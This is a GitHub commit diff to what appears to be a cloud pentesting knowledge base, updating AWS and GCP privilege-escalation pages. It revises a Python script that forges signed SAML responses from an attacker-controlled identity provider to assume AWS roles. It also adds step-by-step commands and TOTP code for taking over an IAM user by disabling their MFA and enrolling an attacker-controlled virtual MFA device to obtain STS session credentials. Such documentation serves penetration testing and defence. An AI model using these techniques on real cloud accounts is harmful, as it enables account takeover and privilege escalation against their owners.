Skip to content

Commit 26d996b

Browse files
authored
Merge pull request #261 from JaimePolop/master
Changes Update SAML
2 parents 1685887 + a05e507 commit 26d996b

2 files changed

Lines changed: 101 additions & 15 deletions

File tree

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md

Lines changed: 100 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -368,6 +368,7 @@ def _run(cmd: list[str]) -> str:
368368
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
369369
key_path = os.path.join(tmpdir, "key.pem")
370370
cert_path = os.path.join(tmpdir, "cert.pem")
371+
371372
_run(
372373
[
373374
"openssl",
@@ -390,19 +391,18 @@ def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
390391

391392

392393
def _pem_cert_to_b64(cert_pem: str) -> str:
393-
lines: list[str] = []
394+
lines = []
394395
for line in cert_pem.splitlines():
395396
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
396397
continue
397-
line = line.strip()
398-
if line:
399-
lines.append(line)
398+
if line.strip():
399+
lines.append(line.strip())
400400
return "".join(lines)
401401

402402

403403
def make_metadata_xml(cert_b64: str) -> str:
404404
return f"""<?xml version="1.0"?>
405-
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
405+
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker-idp.invalid/idp">
406406
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
407407
<KeyDescriptor use="signing">
408408
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
@@ -411,7 +411,7 @@ def make_metadata_xml(cert_b64: str) -> str:
411411
</X509Data>
412412
</KeyInfo>
413413
</KeyDescriptor>
414-
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
414+
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker-idp.invalid/sso"/>
415415
</IDPSSODescriptor>
416416
</EntityDescriptor>
417417
"""
@@ -437,7 +437,7 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
437437
response.set("Destination", "https://signin.aws.amazon.com/saml")
438438

439439
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
440-
issuer.text = "https://attacker.invalid/idp"
440+
issuer.text = "https://attacker-idp.attacker.invalid/idp"
441441

442442
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
443443
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
@@ -449,7 +449,7 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
449449
assertion.set("IssueInstant", issue_instant.isoformat())
450450

451451
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
452-
a_issuer.text = "https://attacker.invalid/idp"
452+
a_issuer.text = "https://attacker-idp.attacker.invalid/idp"
453453

454454
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
455455
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
@@ -470,20 +470,30 @@ def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, c
470470
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
471471
audience.text = "https://signin.aws.amazon.com/saml"
472472

473-
attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
473+
authn_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AuthnStatement"))
474+
authn_statement.set("AuthnInstant", issue_instant.isoformat())
475+
authn_statement.set("SessionIndex", str(uuid.uuid4()))
476+
477+
authn_context = etree.SubElement(authn_statement, etree.QName(ns["saml2"], "AuthnContext"))
478+
authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns["saml2"], "AuthnContextClassRef"))
479+
authn_context_class_ref.text = "urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport"
474480

475-
attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
481+
attribute_statement = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
482+
483+
attr_role = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
476484
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
477485
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
478486
attr_role_value.text = f"{role_arn},{principal_arn}"
479487

480-
attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
488+
attr_session = etree.SubElement(attribute_statement, etree.QName(ns["saml2"], "Attribute"))
481489
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
482490
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
483-
attr_session_value.text = "saml-session"
491+
attr_session_value.text = "attacker-idp"
484492

485-
key_bytes = open(key_pem, "rb").read()
486-
cert_bytes = open(cert_pem, "rb").read()
493+
with open(key_pem, "rb") as f:
494+
key_bytes = f.read()
495+
with open(cert_pem, "rb") as f:
496+
cert_bytes = f.read()
487497

488498
signer = XMLSigner(
489499
method=methods.enveloped,
@@ -610,6 +620,82 @@ aws iam put-role-permissions-boundary \
610620
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
611621
```
612622

623+
### `iam:CreateVirtualMFADevice`, `iam:EnableMFADevice`, CreateVirtualMFADevice & `sts:GetSessionToken`
624+
The attacker creates a virtual MFA device under their control and attaches it to the target IAM user, replacing or bypassing the victim’s original MFA. Using the seed of this attacker-controlled MFA, they generate valid one-time passwords and request an MFA-authenticated session token via STS. This allows the attacker to satisfy the MFA requirement and obtain temporary credentials as the victim, effectively completing the account takeover even though MFA is enforced.
625+
626+
If the target user already has MFA, deactivate it (`iam:DeactivateMFADevice`):
627+
628+
```bash
629+
aws iam deactivate-mfa-device \
630+
--user-name TARGET_USER \
631+
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME
632+
```
633+
634+
Create a new virtual MFA device (writes the seed to a file)
635+
636+
```bash
637+
aws iam create-virtual-mfa-device \
638+
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
639+
--bootstrap-method Base32StringSeed \
640+
--outfile /tmp/mfa-seed.txt
641+
```
642+
643+
Generate two consecutive TOTP codes from the seed file:
644+
645+
```python
646+
import base64, hmac, hashlib, struct, time
647+
648+
seed = open("/tmp/mfa-seed.txt").read().strip()
649+
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
650+
key = base64.b32decode(seed, casefold=True)
651+
652+
def totp(t):
653+
counter = int(t / 30)
654+
msg = struct.pack(">Q", counter)
655+
h = hmac.new(key, msg, hashlib.sha1).digest()
656+
o = h[-1] & 0x0F
657+
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
658+
return f"{code:06d}"
659+
660+
now = int(time.time())
661+
print(totp(now))
662+
print(totp(now + 30))
663+
```
664+
665+
Enable MFA device on the target user, replace MFA_SERIAL_ARN, CODE1, CODE2:
666+
667+
```bash
668+
aws iam enable-mfa-device \
669+
--user-name TARGET_USER \
670+
--serial-number MFA_SERIAL_ARN \
671+
--authentication-code1 CODE1 \
672+
--authentication-code2 CODE2
673+
```
674+
675+
Generate a current token code (for STS)
676+
```python
677+
import base64, hmac, hashlib, struct, time
678+
679+
seed = open("/tmp/mfa-seed.txt").read().strip()
680+
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
681+
key = base64.b32decode(seed, casefold=True)
682+
683+
counter = int(time.time() / 30)
684+
msg = struct.pack(">Q", counter)
685+
h = hmac.new(key, msg, hashlib.sha1).digest()
686+
o = h[-1] & 0x0F
687+
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
688+
print(f"{code:06d}")
689+
```
690+
691+
Copy the printed value as TOKEN_CODE and request an MFA-backed session token (STS):
692+
693+
```bash
694+
aws sts get-session-token \
695+
--serial-number MFA_SERIAL_ARN \
696+
--token-code TOKEN_CODE
697+
```
698+
613699
## References
614700

615701
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)

src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -99,7 +99,7 @@ gsutil hmac create <sa-email> # You might need to execute this inside a VM insta
9999

100100
## If you have TROUBLES creating the HMAC key this was you can also do it contacting the API directly:
101101
PROJECT_ID = '$PROJECT_ID'
102-
TARGET_SERVICE_ACCOUNT = f"exam-storage-sa-read-flag-3@{PROJECT_ID}.iam.gserviceaccount.com"
102+
TARGET_SERVICE_ACCOUNT = f"storage-sa@{PROJECT_ID}.iam.gserviceaccount.com"
103103
ACCESS_TOKEN = "$CLOUDSDK_AUTH_ACCESS_TOKEN"
104104
import requests
105105
import json

0 commit comments

Comments
 (0)